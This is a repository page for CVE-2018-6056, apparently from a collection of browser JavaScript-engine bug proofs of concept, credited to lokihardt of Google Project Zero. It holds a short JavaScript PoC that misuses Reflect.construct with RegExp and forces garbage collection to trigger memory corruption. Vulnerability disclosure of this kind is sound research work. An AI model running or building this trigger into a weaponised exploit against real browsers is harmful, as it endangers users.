Skip to content

Latest commit

 

History

History
31 lines (22 loc) · 459 Bytes

CVE-2018-6056.md

File metadata and controls

31 lines (22 loc) · 459 Bytes

CVE-2018-6056

  • Report: Jan 2018
  • Fix: Jan 2018
  • Credit: lokihardt of Google Project Zero

PoC

function gc() {
    for (let i = 0; i < 20; i++)
        new ArrayBuffer(0x2000000);
}


class Derived extends Array {
    constructor(a) {
        const a = 1;
    }
}

// Derived is not a subclass of RegExp
let o = Reflect.construct(RegExp, [], Derived);
o.lastIndex = 0x1234;

gc();

Reference